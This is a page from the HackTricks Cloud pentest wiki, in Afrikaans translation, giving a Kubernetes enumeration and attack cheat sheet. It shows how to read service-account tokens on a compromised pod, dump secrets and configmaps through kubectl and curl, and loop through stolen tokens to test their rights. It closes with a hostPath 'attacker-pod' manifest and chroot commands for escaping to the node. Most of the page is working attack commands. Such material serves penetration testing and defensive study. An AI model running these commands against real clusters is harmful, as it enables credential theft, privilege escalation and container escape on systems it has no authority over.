Kubernetes Enumeration

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Kubernetes Tokens

As jy gecompromitteerde toegang tot 'n masjien het, mag die gebruiker toegang hê tot 'n paar Kubernetes platforms. Die token is gewoonlik geleë in 'n lêer wat aangedui word deur die env var KUBECONFIG of binne ~/.kube.

In hierdie gids mag jy konfigurasielêers vind met tokens en konfigurasies om met die API bediener te verbind. In hierdie gids kan jy ook 'n kasgids vind met inligting wat voorheen verkry is.

As jy 'n pod binne 'n kubernetes omgewing gecompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8 omgewing kan vind:

Diensrekening Tokens

Voordat jy voortgaan, as jy nie weet wat 'n diens in Kubernetes is nie, sou ek jou aanbeveel om hierdie skakel te volg en ten minste die inligting oor Kubernetes argitektuur te lees.

Geneem uit die Kubernetes dokumentasie:

“Wanneer jy 'n pod skep, as jy nie 'n diensrekening spesifiseer nie, word dit outomaties die standaard diensrekening in dieselfde naamruimte toegeken.”

ServiceAccount is 'n objek wat deur Kubernetes bestuur word en gebruik word om 'n identiteit te verskaf vir prosesse wat in 'n pod loop. Elke diensrekening het 'n geheim wat daaraan verwant is en hierdie geheim bevat 'n draer token. Dit is 'n JSON Web Token (JWT), 'n metode om aansprake veilig tussen twee partye voor te stel.

Gewoonlik bevat een van die gidse:

• /run/secrets/kubernetes.io/serviceaccount

• /var/run/secrets/kubernetes.io/serviceaccount

• /secrets/kubernetes.io/serviceaccount

die lêers:

• ca.crt: Dit is die ca sertifikaat om kubernetes kommunikasies te kontroleer

• namespace: Dit dui die huidige naamruimte aan

• token: Dit bevat die diens token van die huidige pod.

Nou dat jy die token het, kan jy die API bediener binne die omgewingsvariabele KUBECONFIG vind. Vir meer inligting, voer (env | set) | grep -i "kuber|kube"

Die diensrekening token word onderteken deur die sleutel wat in die lêer sa.key geleë is en geverifieer deur sa.pub.

Standaard ligging op Kubernetes:

• /etc/kubernetes/pki

Standaard ligging op Minikube:

• /var/lib/localkube/certs

Warm Pods

Warm pods is pods wat 'n bevoorregte diensrekening token bevat. 'n Bevoorregte diensrekening token is 'n token wat toestemming het om bevoorregte take uit te voer soos om geheime te lys, pods te skep, ens.

RBAC

As jy nie weet wat RBAC is nie, lees hierdie afdeling.

GUI Toepassings

• k9s: 'n GUI wat 'n kubernetes kluster vanuit die terminal opnoem. Kyk na die opdragte in https://k9scli.io/topics/commands/. Skryf :namespace en kies alles om dan hulpbronne in al die naamruimtes te soek.

• k8slens: Dit bied 'n paar gratis proefdae aan: https://k8slens.dev/

Enumerasie CheatSheet

Om 'n K8s omgewing te enumereer, het jy 'n paar van hierdie nodig:

• 'n geldige autentikasie token. In die vorige afdeling het ons gesien waar om 'n gebruikers token en 'n diensrekening token te soek.

• Die adres (https://host:port) van die Kubernetes API. Dit kan gewoonlik in die omgewingsvariabeles en/of in die kube konfigurasielêer gevind word.

• Opsioneel: Die ca.crt om die API bediener te verifieer. Dit kan gevind word in dieselfde plekke waar die token gevind kan word. Dit is nuttig om die API bediener sertifikaat te verifieer, maar deur --insecure-skip-tls-verify met kubectl of -k met curl te gebruik, sal jy dit nie nodig hê nie.

Met daardie besonderhede kan jy kubernetes enumereer. As die API om een of ander rede toeganklik is deur die Internet, kan jy net daardie inligting aflaai en die platform vanaf jou masjien enumereer.

Echter, gewoonlik is die API bediener binne 'n interne netwerk, daarom sal jy 'n tonnel moet skep deur die gecompromitteerde masjien om toegang daartoe vanaf jou masjien te verkry, of jy kan die kubectl binêre lêer oplaai, of curl/wget/anything gebruik om rou HTTP versoeke aan die API bediener te doen.

Verskille tussen list en get werkwoorde

Met get toestemmings kan jy inligting van spesifieke bates (describe opsie in kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

As jy die list toestemming het, mag jy API versoeke uitvoer om 'n tipe bate op te som (get opsie in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

As jy die watch toestemming het, mag jy API-versoeke uitvoer om bates te monitor:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Hulle open 'n streaming verbinding wat jou die volle manifest van 'n Deployment teruggee wanneer dit verander (of wanneer 'n nuwe een geskep word).

Die volgende kubectl opdragte dui net aan hoe om die voorwerpe te lys. As jy toegang tot die data wil hê, moet jy describe gebruik in plaas van get

Gebruik van curl

Van binne 'n pod kan jy verskeie omgewingsveranderlikes gebruik:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Standaard kan die pod toegang verkry tot die kube-api server in die domeinnaam kubernetes.default.svc en jy kan die kube netwerk in /etc/resolv.config sien, aangesien jy hier die adres van die kubernetes DNS-server sal vind (die ".1" van dieselfde reeks is die kube-api eindpunt).

Gebruik kubectl

Met die token en die adres van die API-server gebruik jy kubectl of curl om toegang te verkry soos hier aangedui:

Standaard kommunikeer die APISERVER met https:// skema

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

as daar geen https:// in die url is nie, kan jy 'n fout soos 'Bad Request' kry.

Jy kan 'n amptelike kubectl cheatsheet hier vind. Die doel van die volgende afdelings is om verskillende opsies om te enumerate en die nuwe K8s wat jy toegang tot verkry het, op 'n geordende manier voor te stel.

Om die HTTP-versoek wat kubectl stuur te vind, kan jy die parameter -v=8 gebruik.

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Huidige Konfigurasie

Kubectl

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

As jy daarin geslaag het om 'n paar gebruikers se akrediteer te steel, kan jy hulle plaaslik konfigureer met iets soos:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Kry Ondersteunde Hulpbronne

Met hierdie inligting sal jy al die dienste weet wat jy kan lys

kubectl

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Kry Huidige Privileges

kubectl

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

API

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

'n Ander manier om jou bevoegdhede te kontroleer, is deur die hulpmiddel: https://github.com/corneliusweig/rakkess****

Jy kan meer leer oor Kubernetes RBAC in:

Kubernetes Role-Based Access Control(RBAC)

Sodra jy weet watter bevoegdhede jy het, kyk na die volgende bladsy om uit te vind of jy dit kan misbruik om bevoegdhede te verhoog:

Abusing Roles/ClusterRoles in Kubernetes

Kry Ander rolle

kubectl

k get roles
k get clusterroles

API

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

Kry namespaces

Kubernetes ondersteun meervoudige virtuele klusters wat deur dieselfde fisiese kluster ondersteun word. Hierdie virtuele klusters word namespaces genoem.

kubectl

k get namespaces

API

kurl -k -v https://$APISERVER/api/v1/namespaces/

Kry geheime

kubectl

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

As jy geheime kan lees, kan jy die volgende lyne gebruik om die regte wat aan elke token gekoppel is, te verkry:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Kry Diensrekening

Soos bespreek aan die begin van hierdie bladsy wanneer 'n pod uitgevoer word, word 'n diensrekening gewoonlik aan dit toegeken. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker in staat stel om bevoegdhede te verhoog.

kubectl

k get serviceaccounts

API

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

Kry Ontplooiings

Die ontplooiings spesifiseer die komponente wat moet loop.

kubectl

k get deployments
k get deployments -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Kry Pods

Die Pods is die werklike houers wat sal loop.

kubectl

k get pods
k get pods -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Kry Dienste

Kubernetes dienste word gebruik om 'n diens op 'n spesifieke poort en IP bloot te stel (wat as 'n laaibalanser vir die pods wat werklik die diens bied, sal optree). Dit is interessant om te weet waar jy ander dienste kan vind om te probeer aanval.

kubectl

k get services
k get services -n custnamespace

API

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

Kry knope

Kry al die knope wat binne die kluster geconfigureer is.

kubectl

k get nodes

API

kurl -v https://$APISERVER/api/v1/nodes/

Kry DaemonSets

DaeamonSets maak dit moontlik om te verseker dat 'n spesifieke pod in al die nodes van die kluster (of in die geselekteerde) loop. As jy die DaemonSet verwyder, sal die pods wat deur dit bestuur word ook verwyder word.

kubectl

k get daemonsets

API

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Kry cronjob

Cron jobs laat toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met 'n crontab-agtige sintaksis.

kubectl

k get cronjobs

API

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Kry configMap

configMap bevat altyd baie inligting en konfigurasie lêers wat aan toepassings verskaf word wat in die kubernetes loop. Gewoonlik kan jy baie wagwoorde, geheime, tokens vind wat gebruik word om te verbind en te valideer met ander interne/buite dienste.

kubectl

k get configmaps # -n namespace

API

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Kry Netwerkbeleide / Cilium Netwerkbeleide

Eerste Tab

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

Kry Alles / Al

kubectl

k get all

Kry al hulpbronne wat deur helm bestuur word

kubectl

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

Kry Pods verbruik

kubectl

k top pod --all-namespaces

Ontsnapping uit die pod

As jy in staat is om nuwe pods te skep, mag jy in staat wees om uit hulle te ontsnap na die node. Om dit te doen, moet jy 'n nuwe pod skep met 'n yaml-lêer, oor te skakel na die geskepte pod en dan chroot in die node se stelsel. Jy kan reeds bestaande pods as verwysing vir die yaml-lêer gebruik, aangesien hulle bestaande beelde en paaie vertoon.

kubectl get pod <name> [-n <namespace>] -o yaml

as jy 'n pod op die spesifieke node moet skep, kan jy die volgende opdrag gebruik om etikette op die node te kry

k get nodes --show-labels

Gewoonlik is kubernetes.io/hostname en node-role.kubernetes.io/master albei goeie etikette om te kies.

Dan skep jy jou attack.yaml-lêer

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Daarna skep jy die pod

kubectl apply -f attacker.yaml [-n <namespace>]

Nou kan jy na die geskepte pod oorgaan soos volg

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

En uiteindelik chroot jy in die node se stelsel

chroot /root /bin/bash

Inligting verkry uit: Kubernetes Namespace Breakout using Insecure Host Path Volume — Deel 1 Aanval en Verdediging van Kubernetes: Bust-A-Kube – Episode 1

Verwysings

Kubernetes Pentest Methodology Part 3CyberArk

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsieplanne!

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.